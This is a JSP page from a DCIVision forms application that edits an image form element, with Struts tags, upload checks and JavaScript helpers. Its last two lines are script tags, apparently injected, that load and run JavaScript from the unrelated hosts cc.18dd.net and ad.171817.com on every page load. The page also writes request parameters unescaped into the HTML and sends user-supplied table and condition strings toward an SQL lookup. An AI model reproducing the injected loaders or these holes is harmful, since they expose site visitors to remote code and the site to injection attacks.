 
<%
/*
 * @(#)EditFormImageElement.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormImageElement.jsp

  This class is reflecting business logic uses.

    @author           falcon wang
    @company          DCIVision Limited
    @creation date    15/05/2006
    @version          $Revision: 1.101 $
*/
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.form.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>

<script language="Javascript" src="<%= request.getContextPath() %>/js/FormFunction.js" charset="UTF-8" type="text/javascript"></script>
<script src='<%= request.getContextPath() %>/dwr/interface/FormAjaxProcessor.js'></script>
<script src='<%= request.getContextPath() %>/dwr/util.js'></script>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormElementForm" scope="request" class="com.dcivision.form.web.MaintFormElementForm"/>
<%
	if (!Utility.isEmpty( request.getParameter("MandName"))) {
		session.setAttribute("mandName",request.getParameter("MandName")); 
	}
    if (request.getParameter("SelectV")!=null){
      maintFormElementForm.setElementType(request.getParameter("SelectV").toString());  
    }
 %> 
<script language="Javascript">
<!--

var colorPicker = new ColorPicker();
var field;

function pickFontColor(anchorname,fieldName) {
	field = document.maintFormElementForm.elements['fontColor'];
	colorPicker.show(anchorname);
}

function pickColor(color) {
	field.value = color;
}

function opAddFields(tempListSize) {
  var intValue;
  intValue=parseInt(document.maintFormElementForm.newField.value);
  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    document.maintFormElementForm.newField.focus();
    return(false);
  }

  document.maintFormElementForm.opMode.value="<%=GlobalConstant.OP_MODE_REFRESH%>";
  document.maintFormElementForm.listSize.value=tempListSize;

  //alert(document.maintFormElementForm.listSize.value);
  document.maintFormElementForm.submit();
  return(false);
}

function onchangeMandatory(){
	//window.opener.NavHelp();
window.opener.putMandatoryValue("<%=session.getAttribute("mandName")%>",document.maintFormElementForm.requiredFlag.checked)
}

function hideBlock(b) {
    FindObj(b).style.display = "none";
}

function showBlock(b) {
    FindObj(b).style.display = "";
}

function CheckFileType(){
    var filePath = document.maintFormElementForm.uploadFile.value;
	var i =  filePath.lastIndexOf('.');
    var len = filePath.length;
    var str = filePath.substring(len,i+1);
    var exName = "JPG,GIF,PNF,BMP";
    var k = exName.indexOf(str.toUpperCase());
        if(k==-1)  
            {     
                alert('<bean:message key="errors.form_invalid_picture_format"/>');   
                return (false);   
            }   
			return (true);         
}

function Check(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
	var frm = document.maintFormElementForm;
	var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
	
	if (!validateSpecialChar(frm.fieldName, invalidChars, "<bean:message key='form.label.field_name'/> " + errorMessage)){
	  return (false);
	}
	
  if (document.maintFormElementForm.uploadFile && document.maintFormElementForm.uploadFile.value!=""){
     if(CheckFileType()){ 
     document.maintFormElementForm.trueFileName.value=document.maintFormElementForm.uploadFile.value;
	  }
	  else return(false);
  }
  <%if(Utility.isEmpty(maintFormElementForm.getFileName())){%>
  if(document.maintFormElementForm.trueFileName.value==null||document.maintFormElementForm.trueFileName.value==""){
     alert("Image File is required");//TC.add for image file is not allow null for image type
	 return (false);
  }
  <%}%>

  OpSave();
  return (false);
}

function OpCustSave(){
  return Check();
}

function numericCheck(intValue){	
  if (isNaN(intValue) || intValue<0 ) {
	alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    	return false;
  }
}

function getSQLvalues(){
  field=document.getElementById("DB_field_Name").value;
  //alert(field);
  table=document.getElementById("DB_table_Name").value;
  //alert(table);
  condition=document.getElementById("SQL_condition").value;
  //alert(condition);
  FormAjaxProcessor.getSelectionValues(field,table,condition,setSQLResult);  
  return false;
}
function setSQLResult(str){
  //alert(str);
  if(str==null||str.length<1){
    alert("<bean:message key='form.lable.sql_error'/>");
  }
  DWRUtil.removeAllOptions('selectedSqlResult');
  DWRUtil.addOptions("selectedSqlResult", str); 
}
function opAddValues(tempListSize){
  opAddFields(tempListSize);
  return false;
}
-->
</script>

<html:form action="form/MaintFormElement?SelectV=I" styleClass="form-style-2" enctype="multipart/form-data">
<html:javascript formName="maintFormElementForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  int tmpListTotal=0;
  int listSize=0;
  int newFieldSize=0;
  Integer opNewField=new Integer(1);
  Integer defaultFieldSize = new Integer(1);

  if (request.getAttribute("newFieldsSize") != null){
    newFieldSize = ((Integer) request.getAttribute("newFieldsSize")).intValue();
  }  
  if (request.getParameter("newField") != null){
    opNewField = new Integer(request.getParameter("newField"));
  }
  if (request.getAttribute("listSize") != null){
    listSize = ((Integer) request.getAttribute("listSize")).intValue();
  }
  List formElementList = maintFormElementForm.getOptionList();
  if (maintFormElementForm.getOptionList()!=null) {
    listSize=formElementList.size();
  } 
  if(newFieldSize < listSize)
    newFieldSize = listSize;
  if(newFieldSize == 0)
    newFieldSize = 2;

   String[][] POS_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_top", FormElement.LABEL_POSITION_TOP},
                                {"form.label.display_type_hidden", FormElement.LABEL_POSITION_HIDDEN}};

   String[][] POS_LABEL_MAP = { {"form.label.display_type_left", FormElement.LABEL_POSITION_LEFT},
                                {"form.label.display_type_center", FormElement.LABEL_POSITION_CENTER},
                                {"form.label.display_type_right",FormElement.LABEL_POSITION_RIGHT}};
   
   if(maintFormElementForm.getElementType().equals(FormElementType.ELEMENT_IMAGE)){
     POS_LABEL_MAP = POS_MAP;
   }
   String FONT_TYPE_MAP[][] = new String[8][2];
   for ( int i = 0 ; i < 8 ; i++ ) {
     int j = i + 1;
     FONT_TYPE_MAP[i][0] = "form.label.element_fonts_"+j;
     FONT_TYPE_MAP[i][1] = String.valueOf(j);
   }
   String FONT_SIZE_MAP[][] = new String[23][2];
   for ( int i = 0 ; i < 23 ; i++ ) {  	 
     int j = i + 8;
     //int j = i+1;
     FONT_SIZE_MAP[i][0] = "form.label.font_size_"+j;
     //FONT_SIZE_MAP[i][0] = String.valueOf(j);
     FONT_SIZE_MAP[i][1] = String.valueOf(j);
   }


   List validationRuleList = (List)request.getAttribute("validationRuleList");
   String[][] VALIDATION_RULE_MAP = new String[validationRuleList.size()][2];
   for (int i=0; i<validationRuleList.size(); i++){
     FormValidationRule validationRule = (FormValidationRule)validationRuleList.get(i);
     VALIDATION_RULE_MAP[i][1] = validationRule.getID().toString();  
     VALIDATION_RULE_MAP[i][0] = validationRule.getLabelMsgKey();
   }

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   boolean bIsCopy = false, bIsPending = false, bTextOnly = false;
   String navMode = request.getParameter("navMode");
   if (GlobalConstant.NAV_MODE_CHANGE.equals(navMode)) {
     bIsCopy = true;
   } else if (GlobalConstant.NAV_MODE_VIEW.equals(navMode)) {
     bTextOnly = true;
   }
   String[] SYMBOLS = {"=",">=","<=",">","<","<>","like"};
%>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property="elementType"/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type='hidden' name='formPageID' value='<%=request.getParameter("formPageID")%>'/>
<input type='hidden' name='formRecordID' value='<%=session.getAttribute("formRecordID")%>'/>
<input type='hidden' name='newFieldSize' value='<%=newFieldSize%>'/> <!-- For check()-->
<!--================================Page Title Section=====================================-->
<%
 if (request.getParameter("MandV")!=null){
   session.setAttribute("MandV",request.getParameter("MandV").toString());
%>
<input type=hidden name="mandatory" value=<%=request.getParameter("MandV")%>>
<%
}else if (request.getParameter("mandatory")!=null) {
%>
<input type=hidden name="mandatory" value=<%=request.getParameter("mandatory")%>>
<%}else{%>  
<input type=hidden name="mandatory" value=<%=maintFormElementForm.getmandatory()%>>
<%}%>
<layout:popupTitle titleKey ="form.label.form_element_info"/>
<%
  String currentPageHeight=GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)?"430px":"480px";
%>
<div class="tabContent" style="height:<%=currentPageHeight%>;">   
  <table width="100%" cellpadding="0" cellspacing="2" border="0">
  <!-- Section Header -->
        <layout:sectionHeader/>

  <!-- =====================================START Form Element=================================================== -->
  
  <!-- Field Type Begin -->
        <tr>
          <td class="formLabelSmallMan"><bean:message key='form.label.field_type'/>:&nbsp;</td>
          <td class="formFieldSmall">&nbsp;<bean:message key='<%="form.label.field_type_"+maintFormElementForm.getElementType()%>'/></td>
        </tr>
  <!-- Field Type End -->
  <!-- Field Name & Label Position Begin -->
        <tr>
          <td class="formLabelSmallMan"><bean:message key='form.label.field_name'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:text property='fieldName' textOnly='<%=bTextOnly%>' size='20' maxlength='30'/>
      &nbsp;&nbsp;<html:select property="labelPosition">
                    <html:options stringArray='<%=POS_LABEL_MAP%>'/>
                  </html:select>
          </td>
        </tr>
                     
        
        
  <!-- Field Name & Label Position End -->

  <!-- Font Type -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_type'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property="fontType">
              <html:options stringArray='<%=FONT_TYPE_MAP%>'/>
            </html:select>
          </td>
        </tr>
  <!-- Font Color -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_color'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <table>
              <tr>
                <td>
                  <html:text readonly='true' property='fontColor' textOnly='<%=bTextOnly%>' size='20' maxlength='7'/><A HREF="#" onClick="pickFontColor('pick2','fontColor');return false;" NAME="pick2" ID="pick2">Pick</A>
                </td>
                <td>
                  <SCRIPT LANGUAGE="JavaScript">
                  <!--
                    colorPicker.writeDiv();
                  -->
                  </SCRIPT>
                </td>
              <tr>
            </table>
          </td>
        </tr>
  <!-- Font Size -->
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.font_size'/>:&nbsp;</td>
          <td class="formFieldSmall">
            <html:select property="fontSize">
              <html:options stringArray='<%=FONT_SIZE_MAP%>'/>
            </html:select>px
          </td>
        </tr>
  <!-- Font Style -->
        <tr>
    <% String fStyle=(maintFormElementForm.getFontStyle()==null)? "" : maintFormElementForm.getFontStyle();%>
          <td class="formLabelSmall"><bean:message key='form.label.font_style'/>:&nbsp;</td>
          <td class="formFieldSmall">
            &nbsp;<input type="checkbox" name="fontStyleBold" value="B" <%if(fStyle.indexOf("B")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_bold"/><br>
            &nbsp;<input type="checkbox" name="fontStyleUnderline" value="U" <%if(fStyle.indexOf("U")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_underline"/><br>
            &nbsp;<input type="checkbox" name="fontStyleItalic" value="I" <%if(fStyle.indexOf("I")>=0){%>checked<%}%> <%if(GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%> disabled <%}%>><bean:message key="form.label.font_style_italic"/>
          </td>
        </tr>
        
<!-- =============================Image Element Handle Begin==================================== --> 

<%if(FormElementType.isAttachment(maintFormElementForm.getElementType())){
   String  repath=SystemParameterFactory.getSystemParameter(SystemParameterConstant.FORM_ATTACHMENT_PHYSICAL_PATH);%>
        <input type="hidden" name="trueFileName">
   <%if (!GlobalConstant.NAV_MODE_NEW.equals(maintFormElementForm.getNavMode()) && !Utility.isEmpty(maintFormElementForm.getFileName()) && !"null".equals(maintFormElementForm.getFileName())){%>
        <tr>
          <td class="formLabelSmall"><bean:message key='form.label.field_attachment'/>:</td>
          <td class="formFieldSmall">&nbsp;<html:hidden property='fileName'/><%=maintFormElementForm.getFileName()%><br>
          <%if (maintFormElementForm.getFileName().indexOf(".")>0){ %>     
            <a href="#" onclick="javascript:window.open('../jsp/form/IncludeShowImgFile.jsp?imageName=<%=repath+"/"+maintFormElementForm.getID()+maintFormElementForm.getFileName().substring(maintFormElementForm.getFileName().indexOf("."),maintFormElementForm.getFileName().length())%>','DCIForm','location=no,scrollbars=auto,menubar=no,status=no,resizable=1 ')" ><img src="../jsp/form/IncludeShowImgFile.jsp?imageName=<%=repath+"/"+maintFormElementForm.getID()+maintFormElementForm.getFileName().substring(maintFormElementForm.getFileName().indexOf("."),maintFormElementForm.getFileName().length())%>" width="50" height="50" border="0"> </a></td>
          <%}%>
        </tr> 
   <%}%>
   <%if(GlobalConstant.NAV_MODE_EDIT.equals(maintFormElementForm.getNavMode()) || (GlobalConstant.NAV_MODE_NEW.equals(maintFormElementForm.getNavMode()))){%>
        <tr>
            <%if (!Utility.isEmpty(maintFormElementForm.getFileName()) && !"null".equals(maintFormElementForm.getFileName())){%>
              <td class="formLabelSmall">
			  <bean:message key='form.label.change_field_attachment'/>: 
            <%}else{%>
              <td class="formLabelSmallMan">
			  <bean:message key='form.label.field_attachment'/>: 
            <%}%>
          </td>
          <td class="formFieldSmall">&nbsp;<html:file property='uploadFile' onkeydown="javascript:return   false;"/></td>
        </tr>      
   <%}%>
<%}%>
<!-- =====================================Image Element Handle End================================================ -->
        <input type="hidden" name="tmpListTotal" value="<%=tmpListTotal%>">
        <input type="hidden" name="listSize">
<!-- ==================================END Form Element================================== -->
      </table>
 </div>
 <div>
	<table width="100%">
		<tr>
		  <tr>
        <td colspan="2">
          <div class="sectionLine">&nbsp;</div>
        </td>
      </tr>
		</tr>
		<tr>
      <td colspan="2" style="padding-left:20px;"><layout:auditTrail/></td>
    </tr>
	</table>
</div>
 <!-- ==============================The Buttons for Actions Handling============================== -->   
 <div id="bottomButtonArea">
   <div id="buttonSection">
     <%if (!"VIEWSTRU".equals(request.getParameter("function"))) {%>
       <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
         <%if (request.getParameter("DeleteV")!=null){ 
           if (request.getParameter("DeleteV").equals("0")){%>
             <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
           <%}%>
         <%}else{%>
           <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
         <%}%>
         <%}else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormElementForm.getOpMode())) {%>
           <html:permissionButton label="common.label.edit" right="E" link="MaintFormElement.do?SHOW_HEADER_FOOTER=N&navMode=E&SelectV=I&ID=${maintFormElementForm.ID}"/>
         <%}if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormElementForm.getOpMode())){%>
           <html:standardButton label="common.label.close" onClick="self.close();return(false);"/> 
         <%}else{%>
           <html:standardButton label="common.label.close" onClick="javascript:window.opener.location='MaintFormSectionFormElement.do?navMode=E&formPageID=${formPageID}&formRecordID=${formRecordID}';window.close();"/>
         <%}%>    
     <%}else{%>
       <html:standardButton label="common.label.close" onClick="self.close();return(false);"/> 
     <%}%>
   </div>
 </div>
</html:form>
<SCRIPT LANGUAGE="JavaScript">
<!--
window.ID=document.maintFormElementForm.ID.value; 
opener.ID.value =window.ID; 
window.formElementName =document.maintFormElementForm.fieldName.value;
opener.formElementName.value =window.formElementName; 
opener.formElementType.value ="<%=maintFormElementForm.getElementType()%>";

-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>